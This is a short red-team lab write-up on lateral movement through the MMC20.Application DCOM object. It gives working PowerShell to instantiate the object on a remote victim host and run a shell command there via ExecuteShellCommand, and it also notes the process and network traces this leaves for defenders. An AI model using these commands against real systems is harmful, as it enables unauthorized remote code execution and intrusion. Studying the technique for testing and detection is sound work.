Lateral Movement via DCOM
Lateral Movement via Distributed Component Object Model
The Microsoft Component Object Model (COM) is a platform-independent, distributed, object-oriented system for creating binary software components that can interact. COM is the foundation technology for Microsoft's OLE (compound documents), ActiveX (Internet-enabled components), as well as others.
This lab explores a DCOM lateral movement technique using MMC20.Application COM as originally researched by @enigma0x3 in his blog post Lateral Movement using the mmc20.application Com Object
MMC20.Application COM class is stored in the registry as shown below:
Same can be achieved with powershell:
Get-ChildItem 'registry::HKEY_CLASSES_ROOT\WOW6432Node\CLSID\{49B2791A-B1AE-4C90-9B8E-E860BA07F889}'
Establishing a connection to the victim host:
$a = [System.Activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application.1","10.0.0.2"))
Executing command on the victim system via DCOM object:
$a.Document.ActiveView.ExecuteShellCommand("cmd",$null,"/c hostname > c:\fromdcom.txt","7")
Below shows the command execution and the result of it - remote machine's
hostname command output is written to c:\fromdcom.txt:
Once the connection from an attacker to victim is established using the below powershell:
[System.Activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application.1","10.0.0.2"))
This is what happens on the victim system -
svchost spawns mmc.exe which opens a listening port via RPC binding:
A network connection is logged from 10.0.0.7 (attacker) to 10.0.0.2 (victim) via
offense\administrator (can be also seen from the above screenshot):
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